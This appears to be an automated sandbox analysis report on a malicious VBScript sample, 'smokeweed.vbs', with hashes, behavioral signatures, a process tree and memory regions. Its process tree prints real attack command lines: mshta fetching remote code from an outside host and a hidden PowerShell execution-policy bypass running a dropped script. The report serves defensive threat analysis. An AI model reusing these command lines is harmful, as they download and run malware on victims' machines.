Analysis
-
max time kernel
64s -
max time network
128s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
26-02-2021 06:14
Static task
static1
Behavioral task
behavioral1
Sample
smokeweed.vbs
Resource
win7v20201028
General
-
Target
smokeweed.vbs
-
Size
3KB
-
MD5
07b8be238ea7e4d28ab60dd6c485f663
-
SHA1
73c2226a8592f0a729a837013d40e5b55ecb4415
-
SHA256
78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f
-
SHA512
9d1bcf4a17c4b7986e2fec74f0d4ba020ea2e4933ff9cad19a639d87f0998a32439a227bcd55bf37d08886276a11ede28f06a60af12b6a368b5cdbd2544cf7a0
Malware Config
Signatures
-
Blocklisted process makes network request 4 IoCs
Processes:
mshta.exepowershell.exeflow pid process 10 3864 mshta.exe 12 3864 mshta.exe 15 3864 mshta.exe 18 3892 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 23 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3892 set thread context of 784 3892 powershell.exe jsc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3940 powershell.exe 3940 powershell.exe 3940 powershell.exe 3892 powershell.exe 3892 powershell.exe 3892 powershell.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
powershell.exepowershell.exejsc.exedescription pid process Token: SeDebugPrivilege 3940 powershell.exe Token: SeDebugPrivilege 3892 powershell.exe Token: SeIncreaseQuotaPrivilege 3892 powershell.exe Token: SeSecurityPrivilege 3892 powershell.exe Token: SeTakeOwnershipPrivilege 3892 powershell.exe Token: SeLoadDriverPrivilege 3892 powershell.exe Token: SeSystemProfilePrivilege 3892 powershell.exe Token: SeSystemtimePrivilege 3892 powershell.exe Token: SeProfSingleProcessPrivilege 3892 powershell.exe Token: SeIncBasePriorityPrivilege 3892 powershell.exe Token: SeCreatePagefilePrivilege 3892 powershell.exe Token: SeBackupPrivilege 3892 powershell.exe Token: SeRestorePrivilege 3892 powershell.exe Token: SeShutdownPrivilege 3892 powershell.exe Token: SeDebugPrivilege 3892 powershell.exe Token: SeSystemEnvironmentPrivilege 3892 powershell.exe Token: SeRemoteShutdownPrivilege 3892 powershell.exe Token: SeUndockPrivilege 3892 powershell.exe Token: SeManageVolumePrivilege 3892 powershell.exe Token: 33 3892 powershell.exe Token: 34 3892 powershell.exe Token: 35 3892 powershell.exe Token: 36 3892 powershell.exe Token: SeDebugPrivilege 784 jsc.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exeWScript.exemshta.exepowershell.exedescription pid process target process PID 3248 wrote to memory of 2160 3248 WScript.exe WScript.exe PID 3248 wrote to memory of 2160 3248 WScript.exe WScript.exe PID 2160 wrote to memory of 3864 2160 WScript.exe mshta.exe PID 2160 wrote to memory of 3864 2160 WScript.exe mshta.exe PID 3864 wrote to memory of 3940 3864 mshta.exe powershell.exe PID 3864 wrote to memory of 3940 3864 mshta.exe powershell.exe PID 2160 wrote to memory of 3892 2160 WScript.exe powershell.exe PID 2160 wrote to memory of 3892 2160 WScript.exe powershell.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe PID 3892 wrote to memory of 784 3892 powershell.exe jsc.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs" /elevate2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://z.zz.ht/bBtXS.txt3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -command C:\Users\Public\Datax.ps1;3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheMD5
2143b379fed61ab5450bab1a751798ce
SHA132f5b4e8d1387688ee5dec6b3cc6fd27b454f19e
SHA256a2c739624812ada0913f2fbfe13228e7e42a20efdcb6d5c4e111964f9b620f81
SHA5120bc39e3b666fdad76bcf4fe7e7729c9e8441aa2808173efc8030ce07c753cb5f7e25d81dd8ec75e7a5b6324b7504ff461e470023551976a2a6a415d6a4859bfa
-
C:\Users\Public\Datax.ps1MD5
c85a52e535d54935f25bc43e8b393b1a
SHA1963baebff776005de53b5c68608c5c5205400b50
SHA2560545f59b84c4323711d72e396797694068bd7a56695aea0cdd90352a4a0c7753
SHA512729398ee2dbb41b6f38c106dd3a75fbb695f700b009e6f5267f4242588764a5b3b407b7e2fbb17f9fd4cfc8684e04c39c2e68b6b400de750c2c2c4967d49f184
-
memory/784-30-0x0000000004F50000-0x0000000004F51000-memory.dmpFilesize
4KB
-
memory/784-34-0x00000000066F0000-0x00000000066F1000-memory.dmpFilesize
4KB
-
memory/784-32-0x0000000005FB0000-0x0000000005FB1000-memory.dmpFilesize
4KB
-
memory/784-31-0x0000000005AA0000-0x0000000005AA1000-memory.dmpFilesize
4KB
-
memory/784-29-0x0000000004DA0000-0x0000000004DA1000-memory.dmpFilesize
4KB
-
memory/784-28-0x0000000004DB0000-0x0000000004DB1000-memory.dmpFilesize
4KB
-
memory/784-27-0x00000000051E0000-0x00000000051E1000-memory.dmpFilesize
4KB
-
memory/784-24-0x00000000738E0000-0x0000000073FCE000-memory.dmpFilesize
6.9MB
-
memory/784-23-0x000000000045819E-mapping.dmp
-
memory/784-22-0x0000000000400000-0x000000000045E000-memory.dmpFilesize
376KB
-
memory/2160-2-0x0000000000000000-mapping.dmp
-
memory/3864-3-0x0000000000000000-mapping.dmp
-
memory/3892-19-0x0000020BF1FE6000-0x0000020BF1FE8000-memory.dmpFilesize
8KB
-
memory/3892-20-0x0000020BF1FE8000-0x0000020BF1FEA000-memory.dmpFilesize
8KB
-
memory/3892-21-0x0000020BF2AC0000-0x0000020BF2AC6000-memory.dmpFilesize
24KB
-
memory/3892-15-0x0000020BF1FE3000-0x0000020BF1FE5000-memory.dmpFilesize
8KB
-
memory/3892-14-0x0000020BF1FE0000-0x0000020BF1FE2000-memory.dmpFilesize
8KB
-
memory/3892-12-0x00007FF81D5B0000-0x00007FF81DF9C000-memory.dmpFilesize
9.9MB
-
memory/3892-11-0x0000000000000000-mapping.dmp
-
memory/3940-10-0x000001E2FB463000-0x000001E2FB465000-memory.dmpFilesize
8KB
-
memory/3940-9-0x000001E2FB460000-0x000001E2FB462000-memory.dmpFilesize
8KB
-
memory/3940-8-0x000001E2FC390000-0x000001E2FC391000-memory.dmpFilesize
4KB
-
memory/3940-7-0x000001E2FBF40000-0x000001E2FBF41000-memory.dmpFilesize
4KB
-
memory/3940-6-0x000001E2FB3D0000-0x000001E2FB3D1000-memory.dmpFilesize
4KB
-
memory/3940-5-0x00007FF81D5B0000-0x00007FF81DF9C000-memory.dmpFilesize
9.9MB
-
memory/3940-4-0x0000000000000000-mapping.dmp